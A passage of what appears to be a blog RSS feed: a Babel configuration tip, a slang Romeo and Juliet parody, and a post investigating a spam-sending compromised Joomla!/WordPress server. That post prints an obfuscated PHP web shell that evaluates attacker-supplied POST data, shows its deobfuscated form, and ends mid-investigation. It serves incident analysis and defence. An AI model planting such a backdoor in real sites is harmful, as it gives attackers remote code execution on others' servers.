&lt;h2 id="more-es6-stuff"&gt;More ES6 stuff &lt;a class="anchor-link" href="#more-es6-stuff"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;To be able to use deconstruction (&lt;code&gt;...object&lt;/code&gt;), static class properties and decorators (&lt;code&gt;@connect&lt;/code&gt;) we need to add
a couple of Babel plugins.&lt;/p&gt;
&lt;p&gt;Install them using following command&lt;/p&gt;
&lt;p&gt;npm i --save-dev babel-plugin-syntax-decorators babel-plugin-transform-class-properties babel-plugin-transform-decorators-legacy babel-preset-stage-0&lt;/p&gt;
&lt;p&gt;Few links to read more about this plugins:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://babeljs.io/docs/plugins/syntax-decorators/"&gt;Synthax only for decorators&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/loganfsmyth/babel-plugin-transform-decorators-legacy"&gt;Decorators plugin&lt;/a&gt;
- We are using a 3rd party plugin as &amp;quot;Decorators are disabled in Babel v6, pending a proposal update&amp;quot;.
Read more on the first link.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://babeljs.io/docs/plugins/transform-class-properties/"&gt;Static properties&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://babeljs.io/docs/plugins/preset-stage-0/"&gt;Stage 0 (plugin group)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Now we need to add it to our Babel configuration. Open your &lt;code&gt;.babelrc&lt;/code&gt; file and add them.&lt;/p&gt;
&lt;p&gt;Add these to the &lt;code&gt;&amp;quot;plugins&amp;quot;&lt;/code&gt; array&lt;/p&gt;
&lt;p&gt;&amp;quot;syntax-decorators&amp;quot;
&amp;quot;transform-decorators-legacy&amp;quot;
&amp;quot;transform-class-properties&amp;quot;&lt;/p&gt;
&lt;p&gt;And &lt;code&gt;&amp;quot;stage-0&amp;quot;&lt;/code&gt; to the &lt;code&gt;&amp;quot;presets&amp;quot;&lt;/code&gt; array&lt;/p&gt;
&lt;p&gt;Your &lt;code&gt;.babelrc&lt;/code&gt; should be looking something like this&lt;/p&gt;
&lt;pre class="language-json"&gt;&lt;code class="language-json code-highlight"&gt;&lt;span class="code-line"&gt;&lt;span class="token punctuation"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token property"&gt;&amp;quot;plugins&amp;quot;&lt;/span&gt;&lt;span class="token operator"&gt;:&lt;/span&gt; &lt;span class="token punctuation"&gt;[&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token string"&gt;&amp;quot;syntax-decorators&amp;quot;&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token string"&gt;&amp;quot;transform-decorators-legacy&amp;quot;&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token string"&gt;&amp;quot;transform-class-properties&amp;quot;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token punctuation"&gt;]&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token property"&gt;&amp;quot;presets&amp;quot;&lt;/span&gt;&lt;span class="token operator"&gt;:&lt;/span&gt; &lt;span class="token punctuation"&gt;[&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token string"&gt;&amp;quot;es2015&amp;quot;&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token string"&gt;&amp;quot;react&amp;quot;&lt;/span&gt;&lt;span class="token punctuation"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;    &lt;span class="token string"&gt;&amp;quot;stage-0&amp;quot;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;  &lt;span class="token punctuation"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token punctuation"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/article&gt;</description><author>Muffin Man</author><pubDate>Mon, 29 Aug 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://muffinman.io/blog/setting-up-webpack-babel-and-react-from-scratch-part-2/</guid></item><item><title>Romeo &amp;amp; Juliet Balcony Scene</title><link>https://www.anardil.net/2016/romeo-juliet-balcony-scene.html</link><description>&lt;p&gt;&lt;b&gt;Juliet:&lt;/b&gt;&lt;br /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Like, oh my gosh!  &lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;b&gt;Romeo:&lt;/b&gt;&lt;br /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;She spoke dude!&lt;br /&gt;
Oh, please like speak again, wondrous angel, because you are&lt;br /&gt;
As gnarly as this night, being like, over my head,&lt;br /&gt;
You're like a totally winged messenger from God or something,&lt;br /&gt;
Who like everyone looks at, with their way wandering eyes&lt;br /&gt;
Like …&lt;/p&gt;&lt;/blockquote&gt;</description><author>Anardil</author><pubDate>Sun, 28 Aug 2016 10:00:00 GMT</pubDate><guid isPermaLink="true">https://www.anardil.net/2016/romeo-juliet-balcony-scene.html</guid></item><item><title>Belt thing</title><link>http://www.nuke24.net/plog/16.html</link><author>TOGoS's Project Log</author><pubDate>Sat, 27 Aug 2016 21:13:37 GMT</pubDate><guid isPermaLink="true">http://www.nuke24.net/plog/16.html</guid></item><item><title>Hacked: Investigating an Intrusion on my Server</title><link>https://thedarkside.frantzmiccoli.com/tricks/2016/08/27/hacked-investigating-intrusion-on-server.html</link><description>&lt;p&gt;tl;dr I have received a nice “your server is sending spam” email on a Saturday
morning, this is what happened next.&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;As a foreword, this server is not holding critical information and his
mostly used to host static content and maintain former projects.&lt;/p&gt;

&lt;p&gt;Basically this is what happens when you leave upgrade undone on your server,
which conflicts with the idea, that I don’t want to think every month about
upgrading every Joomla! and every WordPress I have ever abandoned somewhere.&lt;/p&gt;

&lt;p&gt;The point of this article narrative is to give some insights about what might
happen and how to deal with it, that’s perhaps the point to mention that I am
not a security professional.&lt;/p&gt;

&lt;h3 id="understanding"&gt;Understanding&lt;/h3&gt;

&lt;h4 id="the-email"&gt;The email&lt;/h4&gt;

&lt;p&gt;After a night of partying, I have had the pleasure to receive a pleasant email
this saturday. OVH telling me that my server is a source of spam, among others
it mentions a few details about the culprit emails:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;Destination IP: 63.250.192.45 - Message-ID: 0ec13ab550923208952a9e7152792cfb@www.kenagard.com - Spam score: 500
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;KenaGard is my former company, &lt;a href="http://www.kenagard.com"&gt;KenaGard’s website&lt;/a&gt; is
still available, even though the company is not active anymore and it’s using
Joomla!&lt;/p&gt;

&lt;p&gt;An old Joomla! plus the name of the company in the emails, made me try the
“something went wrong with Joomla!” hypothesis first.&lt;/p&gt;

&lt;h4 id="something-went-wrong-with-joomla"&gt;Something went wrong with Joomla!&lt;/h4&gt;

&lt;p&gt;Let’s dive in the website directory and check if some unexpected new file are
around (my biggest strength here is to know that everything after a certain
modification date is suspicious):&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;find $1 -type f -exec stat --format '%Y :%y %n' "{}" \; | grep -v cache |sort -nr | cut -d: -f2- | head
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;2016-08-21 05:50:02.689856795 +0200 ./templates/jtemplate/jtemplate.xml
2016-08-21 05:50:02.689856795 +0200 ./templates/jtemplate/jtemplate.php
2016-08-21 05:50:02.689856795 +0200 ./templates/jtemplate/index.html
2016-08-21 05:50:02.689856795 +0200 ./templates/jtemplate/.htaccess
2016-02-29 06:59:36.000000000 +0100 ./modules/mod_stats/jstats.php
2016-02-25 01:52:13.000000000 +0100 ./images/mbaig/index.php
2016-02-25 01:52:13.000000000 +0100 ./images/mbaig/.htaccess
2016-02-25 01:52:13.000000000 +0100 ./images/mbaig/emkwg.php
2015-01-04 15:14:21.373264602 +0100 ./modules/mod_mainmenu/helper.php
2015-01-04 14:50:23.445264771 +0100 ./modules/mod_mainmenu/tmpl/default.php
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The two last lines are legitimate edits I did, so it seems that
my server is closer to swiss cheese that to anything else.&lt;/p&gt;

&lt;p&gt;Three intrusions took places on 2016-02-25, 2016-02-29 and 2016-08-21 (looking
at the files it leaves no doubt, I haven’t touched this code since a few years).&lt;/p&gt;

&lt;h4 id="diving-in-the-last-intrusion-and-injected-code"&gt;Diving in the last intrusion and injected code&lt;/h4&gt;

&lt;p&gt;The last one contains a short &lt;code class="language-plaintext highlighter-rouge"&gt;jtemplate.php&lt;/code&gt;:&lt;/p&gt;

&lt;div class="language-php highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt;
&lt;span class="nv"&gt;$ohx&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;chr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;97&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="s2"&gt;"s"&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="nb"&gt;chr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;115&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="nb"&gt;chr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;101&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\x72&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="s2"&gt;"t"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nv"&gt;$twu&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"b"&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="nb"&gt;chr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;97&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\x73&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\x65&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="s2"&gt;"6"&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="nb"&gt;chr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;52&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\x5f&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="s2"&gt;"d"&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="nb"&gt;chr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;101&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="s2"&gt;"c"&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\x6f&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="s2"&gt;"d"&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\x65&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nv"&gt;$ye&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"s"&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="s2"&gt;"t"&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\x72&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\x5f&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="s2"&gt;"r"&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\x6f&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="s2"&gt;"t"&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="s2"&gt;"1"&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="nb"&gt;chr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;51&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="nv"&gt;$ohx&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="nv"&gt;$twu&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="nv"&gt;$ye&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;chr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="s2"&gt;"a"&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\x74&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\x61&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])));&lt;/span&gt;&lt;span class="k"&gt;die&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Basically this is obfuscated PHP code, it is not very explicit … but you can
fix the readability.&lt;/p&gt;

&lt;p&gt;Manually or, dramatically, easing your work with a service like
&lt;a href="https://www.unphp.net/"&gt;UnPHP&lt;/a&gt;, if you put the above code, it doesn’t get
perfect, the &lt;code class="language-plaintext highlighter-rouge"&gt;chr()&lt;/code&gt; calls are not replaced, but it is better.&lt;/p&gt;

&lt;p&gt;A bit of clean up and you can get:&lt;/p&gt;

&lt;div class="language-php highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class="c1"&gt;// assert&lt;/span&gt;
&lt;span class="nv"&gt;$ohx&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;chr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;97&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="s2"&gt;"s"&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="nb"&gt;chr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;115&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="nb"&gt;chr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;101&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\x72&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="s2"&gt;"t"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;// base64_decode&lt;/span&gt;
&lt;span class="nv"&gt;$twu&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"b"&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="nb"&gt;chr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;97&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\x73&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\x65&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="s2"&gt;"6"&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="nb"&gt;chr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;52&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\x5f&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="s2"&gt;"d"&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="nb"&gt;chr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;101&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="s2"&gt;"c"&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\x6f&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="s2"&gt;"d"&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\x65&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;// str_rot13&lt;/span&gt;
&lt;span class="nv"&gt;$ye&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"s"&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="s2"&gt;"t"&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\x72&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\x5f&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="s2"&gt;"r"&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\x6f&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="s2"&gt;"t"&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="s2"&gt;"1"&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="nb"&gt;chr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;51&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// data&lt;/span&gt;
&lt;span class="nv"&gt;$key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;chr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="s2"&gt;"a"&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\x74&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\x61&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="nb"&gt;var_dump&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$ohx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$twu&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$ye&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$key&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In clear, the given code does this:&lt;/p&gt;

&lt;div class="language-php highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt;
&lt;span class="nb"&gt;assert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;bas64_encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;str_rot13&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'data'&lt;/span&gt;&lt;span class="p"&gt;])));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The usage of base64 and str_rot13 are just here to scramble whatever data
arrives. Like the PHP obfuscation, I guess this is suppose to deceive some
security systems and human analysis.&lt;/p&gt;

&lt;h4 id="arbitrary-shell-commands"&gt;Arbitrary shell commands&lt;/h4&gt;

&lt;p&gt;At first, I was “WTF, &lt;code class="language-plaintext highlighter-rouge"&gt;assert&lt;/code&gt; is only suppose to raise an error if something is
false”. I got it all wrong, someone thought it was wiser to evaluate any
string passed as an argument.&lt;/p&gt;

&lt;p&gt;So assert is evaluating anything coming from the outside, PHP code or any shell
command…&lt;/p&gt;

&lt;p&gt;This code is just a tool waiting for any payload the attacker wants to send.&lt;/p&gt;

&lt;h4 id="how-deep-the-intrusion-is"&gt;How deep the intrusion is&lt;/h4&gt;

&lt;p&gt;At this point, the last remaining system protection is the fact that the files
are only executed with the system user running the php code, in my case
&lt;code class="language-plaintext highlighter-rouge"&gt;www-data&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;For some reason, I have tried very hard to install a software and enter into
some apt-pinning tricks, now updating the system ranges from “challenging” to
“impossible”… Even though this server doesn’t have much custom configuration
this makes a right escalation likely. I have searched but have not been able to
find any trace of such, I was basically investigating looking at suspicious
elements by modification date (though I guess this can be easily faked)
or using &lt;code class="language-plaintext highlighter-rouge"&gt;ps aux&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;So the whole server is not mine, or … I am not really sure it answers to its
master.&lt;/p&gt;

&lt;p&gt;The three others intrusions are doing similar kind of things…&lt;/p&gt;

&lt;p&gt;I have found a fourth one, this time inside WordPress, it was a bit harder
though to understand what is is exactly doing, but it seems that it is following
a very similar approach.&lt;/p&gt;

&lt;p&gt;Digging a bit more, I found others in every existing website folders that was on
that server… Usually named: &lt;code class="language-plaintext highlighter-rouge"&gt;logo_img.php&lt;/code&gt;, &lt;code class="language-plaintext highlighter-rouge"&gt;images/mbaig/emkwg.php&lt;/code&gt;,
&lt;code class="language-plaintext highlighter-rouge"&gt;dir32.php&lt;/code&gt; or &lt;code class="language-plaintext highlighter-rouge"&gt;.htaccess&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;One of the file was not only executing remote code but also sending some
informations to 4lmbkpqrklqv.net a domain own by a Ukrainian resident named
Nikolay Pohomov… That does not help me much…&lt;/p&gt;

&lt;h3 id="trying-to-fix-this-situation"&gt;Trying to fix this situation&lt;/h3&gt;

&lt;p&gt;I am not a security expert but at that level my opinion would be:
“burn the damn machine”, nothing is sure anymore then. The system is compromised
the plague won… Upgrade your Joomla! and WordPress, reformat, reinstall…&lt;/p&gt;

&lt;p&gt;I don’t really have time for that, so I tried a few coward countermeasures.&lt;/p&gt;

&lt;h4 id="stopping-the-spam"&gt;Stopping the spam&lt;/h4&gt;

&lt;p&gt;&lt;code class="language-plaintext highlighter-rouge"&gt;ps aux&lt;/code&gt; exposes a long list of running &lt;code class="language-plaintext highlighter-rouge"&gt;sendmail&lt;/code&gt; processes. Let’s kill them:&lt;/p&gt;

&lt;p&gt;&lt;code class="language-plaintext highlighter-rouge"&gt;ps aux|grep -v grep|grep sendmail|awk {print $2} | xargs kill -9&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;And let’s also empty the mail queue (this is only safe since I know there is no
legitimate emails inside):&lt;/p&gt;

&lt;p&gt;&lt;code class="language-plaintext highlighter-rouge"&gt;rm /var/spool/mqueue/*&lt;/code&gt;&lt;/p&gt;

&lt;h4 id="blocking-post-on-the-sites-using-some-cms-systems"&gt;Blocking POST on the sites using some CMS systems&lt;/h4&gt;

&lt;p&gt;Reasons:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Those legacy contents are not updated anymore, it won’t break my use case.&lt;/li&gt;
  &lt;li&gt;My bet is that most of the exploits those guys are using and their preferred
way of sending payload are not using the “GET” method.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;In an nginx site configuration, this is simply done like this:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;add_header Allow "GET, HEAD";
if ( $request_method !~ ^(GET|HEAD)$ ) {
        return 405;
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Don’t forget to &lt;code class="language-plaintext highlighter-rouge"&gt;service nginx reload&lt;/code&gt; after all that.&lt;/p&gt;

&lt;p&gt;This is making the attackers work harder, but it definitely doesn’t prevent
anything for sure.&lt;/p&gt;

&lt;h4 id="removing-the-hackers-entry-points"&gt;Removing the hackers entry points&lt;/h4&gt;

&lt;p&gt;You don’t want to keep the hackers tools inside, and the POST method blocking
has not blocked all code (some where also using whatever was stored in the
cookies).&lt;/p&gt;

&lt;p&gt;The biggest problem here is that I am not sure that I have fully removed
everything. The whole system could have been corrupted.&lt;/p&gt;

&lt;h3 id="more-information"&gt;More information&lt;/h3&gt;

&lt;h4 id="trying-to-find-out-more"&gt;Trying to find out more&lt;/h4&gt;

&lt;p&gt;Grepping who has used &lt;code class="language-plaintext highlighter-rouge"&gt;jtemplate&lt;/code&gt; in the logs I get lines like:&lt;/p&gt;

